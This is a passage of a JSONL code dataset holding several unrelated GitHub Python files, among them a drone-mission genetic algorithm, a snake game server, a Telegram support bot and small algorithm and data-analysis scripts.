1)]\n\n    if random.random() <= MUTATION_CHANCE:\n        direction += random.gauss(0, 45)\n        direction %= 360\n\n    if random.random() <= MUTATION_CHANCE:\n        start = [\"ne\", \"nw\", \"se\", \"sw\"][random.randint(0, 3)]\n\n    if random.random() <= MUTATION_CHANCE:\n        if random.random() < 0.5: # Insert random\n            drones.insert(random.randint(0, len(drones) - 1), random.randint(0, number_of_drones - 1))\n\n        if random.random() < 0.5 and len(drones) > 1: # Delete random\n            del drones[random.randint(0, len(drones) - 1)]\n\n        if random.random() < 0.5: # Shuffle random\n            random.shuffle(drones)\n\n    if random.random() <= MUTATION_CHANCE:\n        if random.random() < 0.5:  # Insert random\n            car_points.insert(random.randint(0, len(car_points) - 1), random.uniform(0, 1))\n\n        if random.random() < 0.5 and len(car_points) > 1:  # Delete random\n            del car_points[random.randint(0, len(car_points) - 1)]\n\n        if random.random() < 0.75:  # Sort\n            car_points = list(sorted(car_points))\n\n    if not car_points:\n        car_points = [random.uniform(0, 1)]\n\n    if not drones:\n        drones = [random.randint(0, number_of_drones - 1)]\n\n    drones = drones[:MAX_DRONES_ON_CAR]\n    ind[0] = direction\n    ind[1] = start\n    ind[2] = drones\n    ind[3] = car_points\n    return ind,\n\n\nMISSION_ID = int(args.mission_id)\nNGEN = int(args.ngen)\nPOPULATION_SIZE = int(args.population_size)\nMUTATION_CHANCE = float(args.mutation_chance)\n# Distance, Time, Price, NumberOfStarts\nTARGET_WEIGHTS = (-1.0, )\n\nMAX_DRONES_ON_CAR = 5\n\nmission = Mission.objects.get(id=MISSION_ID)\nfield = json.loads(mission.field.points_serialized)\nfield = [[y, x] for (x, y) in field]\nroad = json.loads(mission.field.road_serialized)\nroad = [[y, x] for (x, y) in road]\nnumber_of_drones = mission.drones.all().count()\n\ntoolbox = base.Toolbox()\n\ncreator.create(\"FitnessMax\", base.Fitness, weights=TARGET_WEIGHTS)\ncreator.create(\"Individual\", list, fitness=creator.FitnessMax)\n\ntoolbox.register(\"attr_direction\", random.uniform, 0, 360) # 0\ntoolbox.register(\"attr_start\", lambda: [\"ne\", \"nw\", \"se\", \"sw\"][random.randint(0, 3)]) # 1\ntoolbox.register(\"attr_drones\", lambda: [random.randint(0, number_of_drones - 1) for _ in\n                                         range(random.randint(1, number_of_drones * 3))]) # 2\ntoolbox.register(\"attr_car_points\",\n                 lambda: [random.uniform(0, 1) for _ in range(random.randint(1, 5))]) # 3\n\ntoolbox.register(\"individual\", tools.initCycle, creator.Individual,\n                 (toolbox.attr_direction, toolbox.attr_start, toolbox.attr_drones, toolbox.attr_car_points\n                  ))\n\ntoolbox.register(\"population\", tools.initRepeat, list, toolbox.individual)\n\ntoolbox.register(\"evaluate\", eval)\ntoolbox.register(\"mate\", tools.cxTwoPoint)\ntoolbox.register(\"mutate\", custom_mutate)\ntoolbox.register(\"select\", tools.selTournament, tournsize=3)\ntoolbox.register(\"map\", futures.map)\n\n\ndef run():\n    global toolbox\n    population = toolbox.population(n=POPULATION_SIZE)\n\n    iterations = []\n    for gen in range(NGEN):\n        print(f\"{gen+1}/{NGEN}\")\n        offspring = algorithms.varAnd(population, toolbox, cxpb=0.5, mutpb=1)\n        fits = toolbox.map(toolbox.evaluate, offspring)\n        fitness_params = []\n        for (distance, time, drone_price, salary, penalty, number_of_starts), ind in zip(fits, offspring):\n            ind.fitness.values = (drone_price + salary + penalty, )\n            ind[2] = ind[2][:number_of_starts]\n            ind[3] = ind[3][:number_of_starts]\n            fitness_params.append(\n                {\n                    \"distance\": distance,\n                    \"time\": time,\n                    \"drone_price\": drone_price,\n                    \"salary\": salary,\n                    \"penalty\": penalty,\n                    \"number_of_starts\": number_of_starts,\n                }\n            )\n        population = toolbox.select(offspring, k=len(population))\n        top = tools.selBest(population, k=1)\n\n        fitnesses = [sum([t * tw for t, tw in zip(ind.fitness.values, TARGET_WEIGHTS)]) for ind in offspring]\n        best_solution = min(fitness_params, key=lambda x: x['drone_price'] + x['salary'] + x['penalty'])\n        iterations.append(\n            {\n                \"best_ind\": top[0],\n\n                \"best_distance\": best_solution['distance'],\n                \"average_distance\": sum((ind['distance'] for ind in fitness_params)) / len(fitness_params),\n                \"best_time\": best_solution['time'],\n                \"average_time\": sum((ind['time'] for ind in fitness_params)) / len(fitness_params),\n                \"best_drone_price\": best_solution['drone_price'],\n                \"average_drone_price\": sum((ind['drone_price'] for ind in fitness_params)) / len(fitness_params),\n                \"best_salary\": best_solution['salary'],\n                \"average_salary\": sum((ind['salary'] for ind in fitness_params)) / len(fitness_params),\n                \"best_penalty\": best_solution['penalty'],\n                \"average_penalty\": sum((ind['penalty'] for ind in fitness_params)) / len(fitness_params),\n                \"best_number_of_starts\": best_solution['number_of_starts'],\n                \"average_number_of_starts\": sum((ind['number_of_starts'] for ind in fitness_params)) / len(fitness_params),\n\n                \"best_fit\": max(fitnesses),\n                \"average_fit\": sum(fitnesses) / len(fitnesses)\n            }\n        )\n        if gen % 10 == 0:\n            print(f\"Top score {max(fitnesses)}, average score {sum(fitnesses) / len(fitnesses)}\")\n\n    log_excel(\n        name=args.filename,\n        info={\n            \"population_size\": POPULATION_SIZE,\n            \"target_weights\": TARGET_WEIGHTS,\n            \"number_of_iterations\": NGEN,\n            \"mission\": f\"{mission.id} - {mission.name}\",\n            \"field\": f\"{mission.field.id} - {mission.field.name}\",\n            \"grid_step\": mission.grid_step,\n            \"start_price\": mission.start_price,\n            \"hourly_price\": mission.hourly_price,\n            \"max_working_speed\": float(args.max_working_speed),\n            \"borderline_time\": float(args.borderline_time),\n            \"max_time\": float(args.max_time),\n        },\n        drones=mission.drones.all(),\n        iterations=iterations,\n    )\n\n\nif __name__ == \"__main__\":\n    run()\n","repo_name":"uavkz/SwarMown","sub_path":"scripts/genetic.py","file_name":"genetic.py","file_ext":"py","file_size_in_byte":9899,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"34362891531","text":"\"\"\"\n----BruteForce Recursive solution----- \ndef countPaths(i,j,n,m):\n    #base cases\n    if(i==(n-1) and j==(m-1)):\n        return 1\n    if(i >= n or j >=m):\n        return 0\n    else: #calculation\n        return countPaths(i+1,j,n,m) + countPaths(i,j+1,n,m)\n\ndef uniquePaths(m,n):\n    i = 0\n    j = 0\n    return countPaths(i,j,m,n)\n\"\"\"\n\n# DP Solution\n\"\"\" def countPaths(i,j,n,m,dp):\n    #base cases\n    if(i==(n-1) and j==(m-1)):\n        return 1\n    if(i >= n or j >=m):\n        return 0\n    if dp[i][j] != -1:\n        return dp[i][j]\n    else: #calculation\n        dp[i][j] = countPaths(i+1,j,n,m,dp) + countPaths(i,j+1,n,m,dp)\n        return dp[i][j]\n\ndef uniquePaths(m,n):\n    dp = [[-1 for x in range(n)] for y in range(m)] \n    i = 0\n    j = 0\n    return countPaths(i,j,m,n,dp)\n \"\"\"\n\n#using combination and observation of pattern in testcases\ndef uniquePaths(m,n):\n    N = n+m-2\n    r = m-1\n    res = 1\n\n    #calculating Ncr\n\n    for i in range(1,r+1):\n        res = res * (N-r+i)//i\n    \n    return res\n\n\nm = 3\nn = 2\nprint(uniquePaths(m,n))\n\n\n\n\n\n","repo_name":"piyushpawar54/Striver-SDE-Sheet","sub_path":"Day5/uniquePaths.py","file_name":"uniquePaths.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17589899735","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport UserDict\nimport json\nimport os\nimport re\nfrom functools import partial\nfrom collections import defaultdict\n\nfrom gevent import sleep\nfrom sender import objects\nfrom sender import public\nfrom sender.base import WrapperSingleton, WrapperUnique\n\nfrom gamemap import Gamemap\nimport player\nimport game_objects\n\nclass MaxplayerError(Exception):\n    def __str__(self):\n        return 'Достигнуто максимальное количество игроков'\n\n@public.send_cls(wrapper=WrapperSingleton)\nclass MapsList(object, UserDict.IterableUserDict):\n    def __init__(self):\n        self.data = {}\n        self.names = []\n        files = os.listdir('maps/')\n        for filename in files:\n            with open('maps/' + filename) as file:\n                data = json.load(file)\n                self.data[filename] = data\n                if data['name']:\n                    self.names.append(data['name'])\n\n    def subscribe(self, sub):\n        self.send_all_games(to=sub)\n\n    @public.send_meth('addList')\n    def send_all_games(self):\n        return self.names,\n\n    def __getitem__(self, name):\n        if name == '':\n            name = '.empty'\n        else:\n            name = re.sub('\\W', '', name)\n        return super(MapsList, self).__getitem__(name)\n\n    def __setitem__(self, name, data):\n        name = re.sub('\\W', '', name)\n        if not 0 != len(name) < 20:\n            raise\n        with open('maps/' + name, 'w') as f:\n            json.dump(data, f, indent=4)\n        super(MapsList, self).__setitem__(name, data)\n\nmaps_list = MapsList()\n\n@public.send_cls(wrapper=WrapperSingleton)\nclass GamesList(objects.SendList):\n\n    @public.recv_meth()\n    def create_map(self, sub, map_name=''):\n        map_editor = MapEditor(self, map_name)\n        sub.subscribe(map_editor)\n\n    @public.recv_meth()\n    def create_game(self, sub, map_name):\n        game = Game(self, map_name)\n        sub.subscribe(game)\n\n    @public.recv_meth()\n    def subscribe_to(self, sub, key):\n        sub.subscribe(key)\n\n    @public.recv_meth()\n    def unsubscribe_to(self, sub, key):\n        sub.unsubscribe(key)\n\n@public.send_cls()\nclass PlayersList(objects.SendList):\n    pass\n\n@public.send_cls()\nclass AbstractGame(object):\n    def __init__(self, cont):\n        self.cont = cont\n        self.objects = []\n\n    def load_map(self, name):\n        data = maps_list[name]\n        self.gamemap = Gamemap(data['SizeX'], data['SizeY'])\n\n        for layer_name, default_tile in data['layers'].items():\n            create_default_obj = partial(self.add_object, default_tile)\n            layer = self.gamemap.add_layer(layer_name, create_default_obj)\n\n        for name, coord in data['objects']:\n            self.add_object(name, coord)\n\n    def add_object(self, name, coord=(), *arg, **kwarg):\n        cls = getattr(game_objects, name)\n        layer = kwarg.pop('layer', None)\n        if layer is None:\n            layer = self.gamemap[cls.map_layer]\n        obj = cls(layer, coord, *arg, **kwarg)\n        self.objects.append(obj)\n        self.send_drawdata(obj)\n        return obj\n\n    @public.send_meth('setListDrawdata')\n    def send_all_drawdata(self):\n        return [obj.get_drawdata() for obj in self.objects],\n\n    @public.send_meth('setDrawdata')\n    def send_drawdata(self, obj):\n        return [obj.get_drawdata()]\n\n@public.send_cls(wrapper=WrapperUnique)\nclass Game(AbstractGame):\n    send_attrs = 'snake_count',\n\n    def __init__(self, container, map_name):\n        super(Game, self).__init__(container)\n\n        self.players = PlayersList()\n        self.max_snake = 3\n        self.snake_count = 0\n        self.load_map(map_name)\n        self.snake_color = [(255, 0, 0), (0, 255, 0), (0, 0, 255),\n                            (255, 255, 0), (255, 0, 255), (0, 255, 255)]\n        self.add_object('Rabbit')\n\n    def subscribe(self, sub):\n        sub.pop('MapEditor', None)\n        if self.snake_count >= self.max_snake:\n            raise MaxplayerError\n        self.snake_count += 1\n\n        pl = sub['Player']\n        self.players.add(pl)\n        snake = partial(self.add_object, 'Snake',\n                        self.snake_color.pop())\n        pl.wrapper = partial(player.GameWrapper, snake)\n\n        sub.subscribe(self.gamemap)\n        sub.subscribe(self.players)\n        self.send_all_drawdata(to=sub)\n\n    def unsubscribe(self, sub):\n        self.snake_count -= 1\n\n        pl = sub['Player']\n        self.players.remove(pl)\n        snake = pl.wrapper.snake\n        self.objects.remove(snake)\n        self.snake_color.append(snake.drawdata['color'])\n        del pl.wrapper\n\n        sub.unsubscribe(self.gamemap)\n        sub.unsubscribe(self.players)\n\n        if self.snake_count == 0:\n            gameslist.remove(self)\n\ngameslist = GamesList(Game)\n\n@public.send_cls(wrapper=WrapperUnique)\nclass MapEditor(AbstractGame):\n    def __init__(self, cont, map_name=''):\n        super(MapEditor, self).__init__(cont)\n        self.name = map_name\n        self.load_map(map_name)\n\n    def constructor(self):\n        return self.name,\n\n    @public.recv_meth()\n    def save_map(self, sub, name):\n        map_dict = {}\n        map_dict['name'] = name\n        sizeX = map_dict['SizeX'] = self.gamemap.size_x\n        sizeY = map_dict['SizeY'] = self.gamemap.size_y\n\n        map_dict['layers'] = {}\n        map_dict['objects'] = []\n        for obj in self.objects:\n            map_dict['objects'].append(\n                (type(obj).__name__,\n                [piece.coord for piece in obj.pieces\n                 if 0 <= piece.coord[0] <= sizeX and\n                    0 <= piece.coord[1] <= sizeY])\n            )\n            for l_name, layer in self.gamemap.items():\n                default_tile = type(layer.default_object).__name__\n                map_dict['layers'][l_name] = default_tile\n        maps_list[name] = map_dict\n\n    @public.recv_meth()\n    def exit(self, sub):\n        del sub['MapEditor']\n\n    def subscribe(self, sub):\n        sub.pop('Game', None)\n        pl = sub['Player']\n        pl.wrapper = partial(player.MapEditorWrapper, self)\n        sub.subscribe(self.gamemap)\n        self.send_all_drawdata(to=sub)\n        self.send_tiles(to=sub)\n\n    def unsubscribe(self, sub):\n        del sub['Player'].wrapper\n        sub.unsubscribe(self.gamemap)\n\n    @public.send_meth('setTiles')\n    def send_tiles(self):\n        tiles = defaultdict(list)\n        for obj in self.objects:\n            tiles[obj.map_layer].append(obj.indef)\n        return tiles,\n","repo_name":"yrttyr/Multiplayer-snake-game","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":6507,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"20207237282","text":"import sys\n\nwith open(sys.argv[1]) as f:\n    data = [line.split(' = ') for line in f.read().split('\\n')]\n\ndef get_val(orig, mask):\n    num = list(bin(orig)[2:])[::-1]\n    num += ['0'] * (36 - len(num))\n    for i in range(36):\n        if mask[i] != 'X':\n            num[i] = mask[i]\n    return int(''.join(num[::-1]), 2)\n\nmask = 'X'*36\nmem = {}\nfor comm, val in data:\n    if comm[:2] == 'ma':\n        mask = val[::-1]\n    else:\n        loc = int(comm.split('[')[1][:-1])\n        mem[loc] = get_val(int(val), mask)\n\nprint(sum(mem.values()))","repo_name":"tylanmm/comp_prog","sub_path":"advent_of_code/2020/day14/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29057315760","text":"import json\nfrom loader import bot, db, cache\nfrom utils.misc.data import binance_p2p_arithmetic_mean_data, binance_get_price_pair\nfrom states.states import SupportState\nfrom bot_locale.translate import _\nfrom keyboards.inline.menu import MenuKeyboard\n\ncallback_data_create_ticket = 'bot.support.create'\ncallback_data_accept = 'bot.support.create.accept'\ncache_waiting_create_support = '{0}_support_locked_time'\n\n@bot.callback_query_handler(is_chat=False, func=lambda call: call.data == 'bot.support.create')\ndef state_a0(call):\n    \"\"\" Выбор причины обращения\n    \"\"\"\n    user = db.get_user(call.from_user.id)\n    reasons = _(user['language_code'], 'list_support_request_reasons')\n    is_lock_string = cache_waiting_create_support.format(user['id'])\n    is_lock = cache.get(is_lock_string)\n\n    if is_lock:\n        bot.answer_callback_query(\n            call.id,\n            _(user['language_code'], 'exceed_limit_ticket'),\n            show_alert=True\n        )\n        return\n\n    if user['is_banned'] == 1:\n        bot.send_message(\n            chat_id=call.from_user.id,\n            text=_(user['language_code'], 'user_is_banned')\n        )\n        return\n\n    bot.delete_message(\n        chat_id=call.from_user.id,\n        message_id=call.message.message_id,\n    )\n\n    bot.send_message(\n        chat_id=call.from_user.id,\n        text=_(user['language_code'], 'user_support_select_reason'),\n        reply_markup=MenuKeyboard.reply_keyboard_parse(reasons)\n    )\n\n    bot.set_state(call.from_user.id, SupportState.A1)\n\n@bot.message_handler(is_chat=False, state=SupportState.A1, is_cancel_action=False)\ndef state_a1(message):\n    user = db.get_user(message.from_user.id)\n\n    reason = message.text[0:128]\n\n    with bot.retrieve_data(message.from_user.id) as data:\n        data['reason'] = reason\n\n    bot.send_message(\n        chat_id=message.from_user.id,\n        text=_(user['language_code'], 'user_support_input_message'),\n        reply_markup=MenuKeyboard.remove_reply()\n    )\n    bot.set_state(message.from_user.id, SupportState.A2)\n\n@bot.message_handler(is_chat=False, state=SupportState.A2, is_cancel_action=False)\ndef state_a2(message):\n    user = db.get_user(message.from_user.id)\n    text = message.text[0:1024]\n\n    with bot.retrieve_data(message.from_user.id) as data:\n        data['message'] = text\n\n        bot.send_message(\n            chat_id=message.from_user.id,\n            text=_(\n                user['language_code'],\n                'user_support_finally_ticket'\n            ).format(\n                data['reason'],\n                data['message'],\n            ),\n            reply_markup=MenuKeyboard.ticket_create_or_decline(user)\n        )\n\n    bot.set_state(message.from_user.id, SupportState.A3)\n\n@bot.callback_query_handler(is_chat=False, state=SupportState.A3, func=lambda call: call.data.startswith(callback_data_accept))\ndef state_a3(call):\n    user = db.get_user(call.from_user.id)\n    config = db.get_config()\n\n    if user['is_banned'] == 1:\n        bot.answer_callback_query(\n            call.id,\n            _(user['language_code'], 'user_is_banned')\n        )\n        return\n\n    with bot.retrieve_data(call.from_user.id) as data:\n        new_ticket = db.create_dialog(user['id'], title=data['reason'])\n        is_lock_string = cache_waiting_create_support.format(user['id'])\n\n        # добавляем в кэш запись о блоке на 5 минут\n        cache.set(is_lock_string, user['id'])\n        cache.expire(is_lock_string, 300)\n\n        new_message = db.create_message(user['id'], new_ticket, text=data['message'])\n\n        bot.edit_message_text(\n            message_id=call.message.message_id,\n            chat_id=call.from_user.id,\n            text=_(\n                user['language_code'],\n                'user_support_ticket_created'\n            ).format(\n                new_ticket\n            ),\n            reply_markup=MenuKeyboard.back_to(user)\n        )\n\n        if config['notifications_support_chat_id'] is not None:\n            try:\n                bot.send_message(\n                    chat_id=config['notifications_support_chat_id'],\n                    text=_(\n                        user['language_code'],\n                        'user_support_ticket_created_notification'\n                    ).format(\n                        new_ticket,\n                        data['reason'],\n                        data['message'],\n                    ),\n                    reply_markup=MenuKeyboard.notification_ticket(\n                        user,\n                        new_ticket\n                    )\n                )\n            except Exceptin as e:\n                print(e)\n\n    bot.delete_state(call.from_user.id)\n","repo_name":"ILoveAlgorythms/exchange-telegram-bot","sub_path":"handlers/users/support.py","file_name":"support.py","file_ext":"py","file_size_in_byte":4717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3130649390","text":"# -*- coding:utf-8 -*-\n# @FileName  :协程_三方库实现.py\n# @Time      :2021/4/21 0021 23:50\n# @Author    :xiaoming\n# -----------------------------------------------------\n\nimport gevent ,time\nfrom gevent import monkey\n\"\"\"\n协程：gevent\n协程存在于线程中，线程默认不会等待协程执行\nspwn:开启协程\njoin：等待协程执行\n协程切换的条件：gevent.sleep().耗时等待的时候会切换\n线程切换的条件：io阻塞，或者达到时间阈值\n\ngevent的补丁：gevent.monkey.patch_call(),只要有等待就会切换\n\n并发： 首先考虑协程，其次线程，最后进程，一般不用进程\n\n\"\"\"\n\ndef work1():\n    for i in range(10):\n        print('--work1--任务%s' % i)\n        # gevent.sleep(0.1)\n        time.sleep(0.01)\n\n\n\ndef work2():\n    for i in range(10):\n        print('--work2--任务%s' % i)\n        # gevent.sleep(0.1)\n        time.sleep(0.01)\n\n\n# 创建两个协程\ngevent.monkey.patch_all()\ng1 = gevent.spawn(work1)\ng2 = gevent.spawn(work2)\ng1.join()\ng2.join()","repo_name":"xiangyaming/CSKF","sub_path":"cskf_proj/basic_zs/Python高阶基础/并发和性能/协程_三方库实现.py","file_name":"协程_三方库实现.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40426829496","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 25 18:06:05 2020\n\n@author: Manav Ranawat\n\"\"\"\n\nimport tensorflow as tf\nimport numpy as np\nimport cv2\nimport os\nimport sys\n\n#one hot encoding of each label\nrps_to_vector= {\n        'rock' : np.array([1,0,0]),\n        'paper' : np.array([0,1,0]),\n        'scissors' : np.array([0,0,1])\n    }\n\n# make sure this has your current directory path\ncurrent_dir = os.getcwd()\n# path = SAVE_PATH = os.path.join(current_dir, sys.arg[1]) #path to which folder to go(like RPS)\n\n\nimglist = list()\n\n#labeling each data to its enconding vector\nfor dr in os.listdir(current_dir) :\n    if dr not in ['rock','paper','scissors'] :\n        continue\n    # here dr will be the images folder(i.e. rock or paper or scissors)\n    \n    vec = rps_to_vector[dr]\n    ctr = 0\n    for img in os.listdir(os.path.join(current_dir,dr)) :\n    \t# make sure the path is correct\n        dr_img = dr + \"\\\\\"\n        path = os.path.join(current_dir,dr_img+img)\n        # print(os.getcwd())\n        pic = cv2.imread(path)\n        # doing some data augmentation and creating more data\n        pic = cv2.resize(pic,(300,300))\n        imglist.append([pic,vec])\n        imglist.append([cv2.flip(pic,1),vec])\n        imglist.append([cv2.resize(pic[50:250,50:250],(300,300)),vec])\n        # ctr = ctr + 3\t#counting the number of image for each label(uncomment this and next line if you want.)\n    # print(dr,ctr)\n\n#shuffling our data randomly\nnp.random.shuffle(imglist)\n\nimg, label = map(list, zip(*imglist)) \n\nimg = np.array(img)\nlabel = np.array(label)\n\n#Uncomment below part if you want to see any image and its label. Your can play around and change the numbers ;)\n# =============================================================================\n# \n# cv2.imshow('img',imglist[-1][0])\n# print(imglist[-1][1])\n# cv2.waitKey(0)\n# cv2.destroyAllWindows() \n# \n# =============================================================================\n        \n\n#creating our model now\nfrom keras import layers\nfrom keras.layers import Input, Add, Dense, Activation, ZeroPadding2D, BatchNormalization, Flatten, Conv2D, AveragePooling2D, MaxPooling2D, GlobalMaxPooling2D\nfrom keras.models import Sequential, load_model\nfrom keras.preprocessing import image      \nfrom keras.optimizers import Adam  \nfrom keras.applications import DenseNet121\nfrom keras.callbacks import EarlyStopping,ModelCheckpoint      \n\n#using transfer learning on DenseNet121.(you can also use some other model if you want to(just checkout keras.application on keras documentation))\nbase_model = DenseNet121(include_top = False ,weights = 'imagenet',classes = 3,input_shape = (300,300,3))\nbase_model.trainable = True\n\nmodel = Sequential()\nmodel.add(base_model)\nmodel.add(MaxPooling2D())\nmodel.add(Flatten())\nmodel.add(Dense(3,activation = 'softmax'))\nmodel.compile(optimizer = Adam(),loss = 'categorical_crossentropy',metrics = ['acc'])\n\n#storing the models weight in a file\nfilepath=\"weights-improvement-{epoch:02d}-{val_acc:.2f}.h5\"\n\ncallback = [\n    ModelCheckpoint(\n        filepath, \n        monitor='val_acc', \n        verbose=1, \n        save_best_only=True, \n        save_weights_only=True,\n        mode='auto'\n    ),\n    #Uncomment if you want to use EarlyStopping\n    # EarlyStopping(patience = 2)\n    ]\n\n\nhistory = model.fit(\n    x = img,\n    y = label,\n    batch_size = 32, \n    epochs = 4,\n    callbacks = callback, \n    validation_split = 0.2\n    )\n\n#Uncomment this if you want to checkout how your model performed\n# =============================================================================\n# \n# preds = model.evaluate(x=img,y=label)\n# print()\n# print (\"Loss = \" + str(preds[0]))\n# print (\"Test Accuracy = \" + str(preds[1]))\n# \n# =============================================================================\n\n#And finally, saving the model\nmodel.save_weights('rps-model.h5')\n\nwith open(\"rps-model.json\", \"w\") as json_file:\n    json_file.write(model.to_json())\n\n\n\n","repo_name":"ManavRanawat/Realtime-rock-paper-scissor","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22940963313","text":"import mindspore\nfrom mindspore import context, nn, ops\n#from src.nn import Network     ## 明文下的神经网络模型\nfrom dist.nn import Network   ## pyarmor加密后的 神经网络模型\n\ncontext.set_context(mode=mindspore.PYNATIVE_MODE) #设置为动态图\nmodel = Network()\nprint(model)\n\nX = ops.ones((1, 28, 28), mindspore.float32)\n\nlogits = model(X)\nprint(logits)\n\n\npred_probab = nn.Softmax(axis=1)(logits)\ny_pred = pred_probab.argmax(1)\nprint(f\"Predicted class: {y_pred}\")\n","repo_name":"shazi4399/pyarmor_network","sub_path":"MindSpore_1.9/nnPredict_clear.py","file_name":"nnPredict_clear.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"19582987982","text":"from ete3 import Tree\nfrom tqdm.auto import tqdm\n\ndef list_subtrees(node):\n    subtrees = []\n    if node.is_leaf():\n        subtrees.append(node)\n    else:\n        for child in node.children:\n            subtrees.extend(list_subtrees(child))\n        subtrees.append(node)\n\n    return subtrees\n    \ndef list_subtree_sets(tree):\n  sets = []\n  s_t = list_subtrees(tree)\n  for s in s_t:\n    sets.append(frozenset(leaf.name.split(':')[0].strip() for leaf in s.get_leaves()))\n  \n  return sets\n\ndef bootstrap_against_tree(bootstrap_trees_newick, base_tree_newick):\n\n    base_tree = Tree(base_tree_newick)\n\n    base_subtrees = list_subtree_sets(base_tree)\n    bootstrap_counts = {cluster:[] for cluster in base_subtrees}\n\n    for bootstrap_newick in tqdm(bootstrap_trees_newick, desc='Applying bootstraps', ascii=True, position=0):\n        bootstrap_tree = Tree(bootstrap_newick)\n        bs_tree_clusters = list_subtree_sets(bootstrap_tree)\n\n        for base_cluster in base_subtrees:\n            if base_cluster in bs_tree_clusters:\n                bootstrap_counts[base_cluster].append(1)\n            else:\n                bootstrap_counts[base_cluster].append(0)\n\n    bootstrap_ratios = {cluster:sum(hits)/len(hits) for cluster, hits in bootstrap_counts.items()}\n\n    out_tree = base_tree.copy()\n\n    for node in out_tree.traverse():\n        if node.is_leaf():\n            parent = node.up\n            node_set = frozenset(leaf.name.split(':')[0].strip() for leaf in parent.get_leaves())\n        else:\n            node_set = frozenset(leaf.name.split(':')[0].strip() for leaf in node.get_leaves())\n        \n        bs = f'{100 * bootstrap_ratios[node_set]:.3f}'\n        node.add_features(support=bs)\n\n    nhx_newick = out_tree.write(format=0, features=[\"support\"])\n    out_newick = nhx_newick.replace('&&NHX:support=', '')\n    \n    return out_newick\n","repo_name":"FinnOD/structural-phylogeny","sub_path":"structphy/bootstrapping.py","file_name":"bootstrapping.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41464386616","text":"import numpy as np\n\nfrom Bio import SeqIO\n\nimport re\n\nfrom Utility import only_atcg\n\n\n\n\ndef read_fasta(path, singleton=False):\n    '''\n    \n    '''\n    \n    label_list = []\n    handle = open(path, \"rU\")\n    for record in SeqIO.parse(handle, \"fasta\"):\n        label_list.append(record.description.split('\\t')[1].split(';')[-1])\n    genus_count = {}\n    for label in set(label_list):\n        genus_count[label] = label_list.count(label)\n    handle.close()\n    \n    # read in fasta and store each sequences in a list\n    fasta_list = []\n    label_list = []\n    handle = open(path, \"rU\")\n    for record in SeqIO.parse(handle, \"fasta\"):\n        if not singleton:\n            if genus_count[record.description.split('\\t')[1].split(';')[-1]] > 1:\n                fasta_list.append(str(record.seq))\n                label_list.append(record.description.split('\\t')[1].split(';')[-1])\n        else:\n            fasta_list.append(str(record.seq))\n            label_list.append(record.description.split('\\t')[1].split(';')[-1])\n    handle.close()\n    \n    return fasta_list, label_list\n    \n    ","repo_name":"kuanliang/dnalib","sub_path":"dnalib/DataIO.py","file_name":"DataIO.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2784790712","text":"n, m = map(int, input().split())\r\n\r\ndef f(n, m):\r\n    if n == 0: return 0\r\n    res = ''\r\n    while n > 0:\r\n        conv = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'\r\n        n, mod = divmod(n, m)\r\n        res += str(conv[mod])\r\n    return res[::-1]\r\n\r\n\r\nprint(f(n, m))","repo_name":"Happy-ryan/PS","sub_path":"백준/Bronze/14915. 진수 변환기/진수 변환기.py","file_name":"진수 변환기.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"33666926740","text":"import numpy as np\n\n\ndef calculateMaxDD(cumret):\n    highwatermark = np.zeros(cumret.shape)\n    drawdown = np.zeros(cumret.shape)\n    drawdownduration = np.zeros(cumret.shape)\n    for t in np.arange(1, cumret.shape[0]):\n        highwatermark[t] = np.maximum(highwatermark[t - 1], cumret[t])\n        drawdown[t] = (1 + cumret[t]) / (1 + highwatermark[t]) - 1\n        if drawdown[t] == 0:\n            drawdownduration[t] = 0\n        else:\n            drawdownduration[t] = drawdownduration[t - 1] + 1\n    maxDD, i = np.min(drawdown), np.argmin(drawdown)  #\n    maxDDD = np.max(drawdownduration)\n    return maxDD, maxDDD, i\n","repo_name":"gkizildogan/AutoML","sub_path":"financecalc.py","file_name":"financecalc.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
